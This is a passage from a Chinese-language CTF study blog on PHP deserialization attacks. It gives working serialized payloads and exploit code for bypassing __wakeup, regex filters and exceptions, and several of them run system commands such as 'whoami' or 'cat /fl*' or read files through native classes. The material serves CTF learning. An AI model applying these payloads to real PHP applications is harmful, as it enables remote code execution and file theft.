O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
成功
使用引用
这个方法的条件是:1.类中有多个变量 2.在触发点函数中使用或赋值了变量
修改一下上面的demo
highlight_file(__FILE__);
class Man{public $info;public $name;function __wakeup(){echo "wakeup is call";$this->name='';}function __destruct(){$info='helloworld';if ($name){echo file_get_contents("flag.php");}}
unserialize($_GET['a'];
如果要读取flag,name不能为空,可是name在__wakeup
方法中就被置为空,可以利用变量引用绕过,变量引用就是使用&符号,如,$a=&$b;
a被赋值为b的引用,那么 a , a, a,b,实际指向同一块内存,修改其中一个,另外一个也会随之改变
在exp中,这样写
$a=new Man();
$a->info=&$a->name;
echo serialize($a);
把info设置为name的引用,它们使用同一块内存,在__wakeup
中即使name被置为空,但在__destruct中info又被赋予了值,name的值也同样被改为helloworld,就能成功读取flag
所以利用条件为:1.类中有多个变量 2.在触发点函数中使用或赋值了变量
fast-destruct
利用条件:__destruct
和__wakeup
不在同一个类
demo
<?php
highlight_file(__FILE__);
class A
{public $info;private $end = "1";public function __destruct(){$this->info->func();}
}
class B
{public $end;public function __wakeup(){$this->end = "exit();";echo '__wakeup';}public function __call($method, $args){eval($this->end);}
}
unserialize($_POST['data']);
如果传正常payload,会触发B的__wakeup,导致命令无法执行,可是如果破坏一下序列化数据结构,导致B对象不能被正常还原,出现了异常,php会把这个不正常的数据当做垃圾销毁回收,提前触发__destruct
,原本的方法执行顺序改变,B的__wakeup
的执行被延后
正常 ->O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";s:10:"phpinfo();";}s:3:"end";s:1:"1";}
减少闭合} ->O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";s:10:"phpinfo();";}s:3:"end";s:1:"1";
增加; ->O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";s:10:"phpinfo();";}s:3:"end";s:1:"1";;}
修改表示长度的值 ->O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";s:10:"phpinfo();";}s:6:"end";s:1:"1";} #3改为了6
最后一个修改表示长度的值影响版本是:7.4.x -7.4.30,8.x,大佬文章:https://github.com/php/php-src/issues/9618
在本地测试时发现一个小问题,就是如果__wakeup
里只有一个die,那么这个die执行了,反序列化还是会完整进行,能够执行命令,不知道是不是我的demo问题,求大佬告知
throw Exception绕过
如果在反序列化后,主动抛出一个异常,__destuct不会被执行,在上面__wakeup
的demo,最后加上 throw new Exception(“No!”);
如果正常传入,会爆出异常,无法执行
fast-destruct的破坏数据结构的方法可以绕过,结束
非公有属性绕过
对于private,protected等属性,为与public属性区分开,php在序列化private属性时,会在属性名前加上\0(对象类名)\0,protected会在属性名前加上\0*\0,\0是不可见字符,无法直接打印出来,url编码为%00后,方可显示,如:
对于php版本7.1+,像我本地的7.3.4,反序列化对象的某个属性时,即使这个属性是private或protected,遇到的是公有属性序列化字符串,也会成功反序列化,如:
如果版本不符,就只能通过url编码传入数据
正则匹配序列化绕过
这一个知识点我还没遇到过(刷题太少,玩星穹太多导致的),借鉴大佬的文章来学习:https://blog.csdn.net/m0_64815693/article/details/127982134,以后做题有遇到再补充
preg_match(‘/^O:\d+/’)
这个就是匹配字符串开头是不是O:,且:后面第一个字符是不是数字,正常序列化对象字符串都是,写exp时,我们可以把对象放入一个数组中再序列化,反序列化会先还原数组,再还原对象,两个过程互不干扰,这样序列化字符串开头就是a:\d,绕过这个正则,如:
$a=new Man();
$b=array($a);
echo serialize($b);
结果
a:1:{i:0;O:3:"Man":3:{s:4:"name";s:5:"hello";s:4:"info";s:5:"wrold";s:3:"age";i:10;}}
大佬及网上的其他文章都介绍了另一种方法,就是O:后的数字前加上+
,如O:+3
,但我在本地实验时,这个方法会报错,导致反序列化失败,应该是php版本问题
preg_match('/^[Oa]:\d+/')
如果是这样匹配,转为array没办法绕过,可以尝试转为C,查阅资料得知,C表示的用户自定义类,但我们利用的明明是php的原生类,具体原理可看上面大佬的另一个文章,https://blog.csdn.net/m0_64815693/article/details/130038356
我简单记录一下利用方法,1.首先找所有实现了serialize接口的类,如下:
ArrayObject
ArrayIterator
RecursiveArrayIterator
SplDoublyLinkedList
SplQueue
SplStack
SplObjectStorage
选择上面的一个类,生成实例对象,随便赋值一个属性为我们pop链的起点类即可,exp:如下
$a=new A();
$a->info=new B();
$c=new ArrayObject();
$c->a=$a;
echo serialize($c);
// C:11:"ArrayObject":117:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";s:17:"system('whoami');";}s:3:"end";s:1:"1";}}}
这个方法只能绕过正则,wakeup和异常无法绕过
类名大小写不敏感
php反序列化对类名的大小写不敏感,在我有类A和类B的demo中,传下面的字符串也能成功
O:1:"a":2:{s:4:"info";O:1:"b":1:{s:3:"end";s:17:"system('whoami');";}s:3:"end";s:1:"1";}
16进制绕过关键字检测
序列化中表示字符串的s,如果为大写,后面跟十六进制数据,在反序列化时也能成功读取
原生类利用
php有一些原生类可以用来扫描目录或读取文件,但php4.3之后,这些原生类被禁止用serialize或unserialize来处理,除非题目能主动生成这个对象,所以感觉用处有限,就先简单记录一下这些原生类的使用,以后遇到相关题型再来补充
从这篇大佬的文章来学习:https://blog.csdn.net/qq_39947980/article/details/136723533
能扫目录的三个类
DirectoryIterator(支持glob://协议),如:DirectoryIterator(glob://*flag*)
FilesystemIterator(继承自1,同上),也可以直接输入路径,如:new FilesystemIterator('./')
GlobIterator(相等于自带glob协议的DirectoryIterator)
存在toString方法,直接echo 只能打印第一个文件,foreach遍历可以打印所有文件
文件读取类
SplFileObject :存在toString方法,同目录扫描类,直接echo返回第一行内容,遍历才能读取所有内容,或者配合伪协议读取文件
题目实战
反序列化题目代码都挺长的,只复制关键部分过来
网鼎杯 2020 青龙组AreUSerialz
关键部分,这一题只有一个类,可以利用的关键部分如下:
private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}
利用file_get_contents
获取flag,源码提示就在flag.php因此控制filename为flag.php即可,考点在这里:
public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}
function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}
function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}
process和__destruct这两个地方,把op设为数字2即可,php弱类型比较是相等的
is_valid这个函数检查序列化字符串是不是都是有效字符,题目类的属性都是protect,如果直接用url编码输出,%00就是\0,无法通过检查,看看题目php版本
7.4.3,直接把类的属性都改为public即可,最后payload
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
[GDOUCTF 2023]反方向的钟
题目在nssctf平台:https://www.nssctf.cn/problem/3723
题目关键部分:
class school{public $department;public $headmaster;public function __construct($department,$ceo){$this->department = $department;$this->headmaster = $ceo;}public function IPO(){if($this->headmaster == 'ong'){echo "Pretty Good ! Ctfer!\n";echo new $_POST['a']($_POST['b']);}}public function __wakeup(){if($this->department->hahaha()) {$this->IPO();}}
}
if(isset($_GET['d'])){unserialize(base64_decode($_GET['d']));
}
?>
源码提示flag.php,且在schoo类中的IPO方法中,有帮我们new 对象,那就考虑原生类SplFileObject读取flag,
很简单的pop链,school:__wakeup
->classrom:haha
->classrom->name=new teahcher('ing','department')
->school:IPO
exp:
$a=new school();
$a->department=new classroom();
$a->department->name='one class';
$a->department->leader=new teacher('ing','department');
$a->headmaster='ong';
echo base64_encode(serialize($a));
[GHCTF 2024 新生赛]ezzz_unserialize
题目在nssctf平台:https://www.nssctf.cn/problem/5162
题目关键部分:
class Heraclqs{public $grape;public $blueberry;public function __invoke(){//blueberry=aW8if(md5(md5($this -> blueberry)) == 123) {return $this -> grape -> hey;}}
}
这里需要blueberry两次md5后,以123开头,要跑脚本,大佬脚本如下
import hashlib
import itertoolsdef brute_force_md5():# 使用字母表和数字进行字符的尝试charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'# 迭代尝试所有可能的字符组合for text in itertools.product(charset, repeat=3):text = ''.join(text)hash1 = hashlib.md5(text.encode()).hexdigest()hash2 = hashlib.md5(hash1.encode()).hexdigest()# 检查是否满足条件if hash2.startswith("123") and hash2[3].isalpha():# 输出满足条件的字符串print("满足条件的字符串:", text + "(两次MD5加密后为:" + hash2 + ")")break# 运行爆破
brute_force_md5()
构造pop链时,可能有多个类的都有同样符合的触发条件的魔术方法,要选能简单利用的
pop链的终点选为这个类
class E{public $e;public function __get($arg1){array_walk($this, function ($Monday, $Tuesday) {$Wednesday = new $Tuesday($Monday);foreach($Wednesday as $Thursday){echo ($Thursday.'<br>');}});}
}
array_walk就是遍历对象或数组,对其中的元素应用传入的回调方法,然后回调方法中有new 生成对象,所以一样用原生类来做,而且有foreach,扫描目录能获得完整信息
exp:
$a=new Sakura();
$a->apple=new UkyoTachibana();
$a->apple->banana=new BasaraKing();
$a->apple->banana->orange=new Heraclqs() ;
$a->apple->banana->orange->blueberry='aW8';
$a->apple->banana->orange->grape=new E();
#扫描根目录
$a->apple->banana->orange->grape->DirectoryIterator='/';
#读取flag
$a->apple->banana->orange->grape->SplFileObject='php://filter/read=convert.base64-encode/resource=/1_ffffffflllllagggggg';
读取flag时还是习惯性的用了过滤器
newstarctf2023 more fast
buu上的,源码关键部分
$a = @unserialize($_POST['fast']);
throw new Exception("Nope");
题目也提示more fast,所以这题直接破坏数据结构,fast-destruct就ok
exp:
$a= new Start();
$a->errMsg=new Crypto();
$a->errMsg->obj=new Reverse();
$a->errMsg->obj->func=new Pwn();
$a->errMsg->obj->func->obj=new Web();
$a->errMsg->obj->func->obj->func='system';
$a->errMsg->obj->func->obj->var='ls /';
echo serialize($a);
#正常
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}
#少一个},fast-destruct
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}
#通配符绕过正则,读取flag
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:8:"cat /fl*";}}}}}
!
Web_php_unserialize
来自攻防世界
这一题源码不长:
<?php
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } }
}
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); }
} else { highlight_file("index.php");
}
?>
flag应该就在fl4g.php,要绕过__wakeup
,还有正则,这个正则就是匹配了O,C:后跟一个数字,可以在用O:+4绕过,由于不是匹配开头,无法用数组绕过
看看php版本,能不能修改属性过__wakeup
版本正确,可以修改,exp如下:
class Demo { private $file = 'fl4g.php';}
$a=new Demo();
$str=str_replace("O:4","O:+4",serialize($a));
$str=str_replace(':1:',':4:',$str);
echo base64_encode($str);
!
成功